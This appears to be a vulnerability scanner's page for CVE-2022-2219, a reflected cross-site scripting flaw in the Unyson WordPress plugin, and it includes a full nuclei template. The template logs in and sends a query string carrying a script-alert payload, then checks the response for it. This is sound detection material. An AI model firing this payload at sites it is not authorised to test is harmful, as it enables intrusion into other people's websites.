Unyson < 2.7.27 - Cross Site Scripting

highseverity

7.2CVSS score

1.7%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data theft, and potential compromise of the affected website.

Fix

Fixed in version 2.7.27

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=fw-extensions&sub-page=extension&extension=feedback<script>alert(document.domain)</script>
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "script%3Ealert%28document.domain%29%3C%2Fscript%3") and contains(body_2, "Unyson")

Run it with nuclei: nuclei -id CVE-2022-2219 -u <target>

The full check

id: CVE-2022-2219

info:
  name: Unyson < 2.7.27 - Cross Site Scripting
  author: r3Y3r53
  severity: high
  description: |
    The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data theft, and potential compromise of the affected website.
  remediation: Fixed in version 2.7.27
  reference:
    - https://wpscan.com/vulnerability/1240797c-7f45-4c36-83f0-501c544ce76a
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2219
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2022-2219
    cwe-id: CWE-79
    epss-score: 0.01686
    epss-percentile: 0.77206
    cpe: cpe:2.3:a:brizy:unyson:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: brizy
    product: unyson
    framework: wordpress
  tags: cve,cve2022,authenticated,wordpress,wp,xss,unyson,wp-plugin,wpscan,brizy,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=fw-extensions&sub-page=extension&extension=feedback<script>alert(document.domain)</script>  HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "script%3Ealert%28document.domain%29%3C%2Fscript%3")'
          - 'contains(body_2, "Unyson")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from